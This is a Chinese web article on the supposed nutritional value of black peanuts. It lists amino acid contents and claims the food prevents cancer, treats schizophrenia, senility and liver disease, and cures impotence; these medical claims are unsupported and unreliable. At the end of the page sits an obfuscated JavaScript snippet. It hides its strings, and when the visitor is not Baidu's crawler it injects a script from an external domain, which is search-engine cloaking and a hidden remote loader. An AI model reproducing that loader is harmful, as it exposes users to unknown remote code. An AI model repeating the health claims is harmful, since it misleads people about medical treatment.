當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

黑花生營養(yǎng)價值是什么

2017-07-11 17:14:48  來源:360常識網(wǎng)   熱度:
導(dǎo)語:黑花生雖然不是我們平常經(jīng)常可以吃到的花生種類,但是它卻是花生當(dāng)中,營養(yǎng)價值最高的一種花生,這主要就是體現(xiàn)在它特殊的營養(yǎng)價值,因為黑

黑花生雖然不是我們平常經(jīng)??梢猿缘降幕ㄉN類,但是它卻是花生當(dāng)中,營養(yǎng)價值最高的一種花生,這主要就是體現(xiàn)在它特殊的營養(yǎng)價值,因為黑花生吃了以后是可以很好的去維持我們身體的成長發(fā)育,這樣的話對于兒童們來說是非常有效果的,而且在醫(yī)療的方面也有很高的成就,所以也是現(xiàn)在最具有發(fā)展的黑色食物,還可以防止現(xiàn)在比較可怕的癌細(xì)胞出現(xiàn)的。

1、谷氨酸:在日常糧油作物中黑花生含量最高,為5550mg/100g。比氨基酸總量最高的黑大豆高10.65%,比黑玉米高215.69%,可稱為“谷氨酸之王”。腦中最多的是氨基酸,谷氨酸為構(gòu)成大腦的主原料,其有助于增強大腦功能,使大腦快活地發(fā)揮功能。美國營養(yǎng)學(xué)家發(fā)現(xiàn),成人血液中的谷氨酸在以非??斓乃俣扰c腦內(nèi)的谷氨酸進(jìn)行交換。谷氨酸具有收集多余的胺(胺會抑制大腦發(fā)揮其功能)并將其轉(zhuǎn)化為緩沖的谷酰胺之功能。谷酰胺可增進(jìn)智能,加速潰瘍愈合,緩解疲勞、情緒低落及陽痿現(xiàn)象,可治療精神分裂癥及衰老癥。 谷氨酸、甘氨酸和胱氨酸合成谷胱甘肽,這是一種關(guān)鍵的自由基清除劑,保護(hù)腦細(xì)胞免受自由基損傷,延緩大腦衰老。自由基是一群不穩(wěn)定的氧化分子,是細(xì)胞用氧后的正常副產(chǎn)物,人腦50%以上的區(qū)域是由脂肪組織組成的,因此特別易受自由基的攻擊。

黑花生

2、天門冬氨酸:含量為3280mg/100g,僅次于黑大豆(3719mg/100g),對促進(jìn)腦細(xì)胞發(fā)育和增強記憶力有良好的作用。

3、精氨酸:含量為3160mg/100g,比黑大豆高2.46%,在美國被列為100種最熱門的營養(yǎng)補品中,排在第二位,是維持腦下垂體正常功能的必需氨基酸。 與鳥氨酸、苯丙氨酸一起作用,可合成及分泌腦下垂體的生長激素,增強肌肉組織,增強免疫功能及傷口的愈合。精氨酸對男性尤為重要,可增加精子的數(shù)量,因為精液中80%是由此種蛋白質(zhì)要素構(gòu)成的,可促進(jìn)血液流向陰莖,使之更堅挺,增強男性性功能。精氨酸對成年人尤為需要,因為30歲后的腦下垂體就幾乎停止分泌精氨酸了。精氨酸對人體肝臟疾病有明顯療效。

4、苯丙氨酸:含量為1610mg/100g,比黑大豆高8.05%。苯丙氨酸是一種必需氨基酸,是作為神經(jīng)傳導(dǎo)必需的氨基酸,是傳達(dá)大腦和神經(jīng)細(xì)胞之間往來的化學(xué)物質(zhì)。可改善記憶力及提高思維敏捷度,降低饑餓感,提高性欲,清除抑郁情緒。

5、甘氨酸:含量1500mg/100g,僅次于黑大豆(1792mg/100g)。甘氨酸對人體十分有益,有助于治療腦下垂體功能不足癥,可提供人體額外的肌胺酸,因此可治療進(jìn)行性肌肉萎縮,對治療胃酸過多亦十分有效。

所以對于黑花生的營養(yǎng)價值我們都有了一個了解,其實黑花生里面是含有10種氨基酸的,這些氨基酸就是我們?nèi)梭w當(dāng)中不可多得的一種營養(yǎng)物質(zhì),所以對于我們?nèi)梭w來說經(jīng)常吃的話還可以緩解疲勞的情況,不會讓人們經(jīng)常的感覺到自己的心情特別的低落,甚至是男性朋友們還不會出現(xiàn)陽痿的情況。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}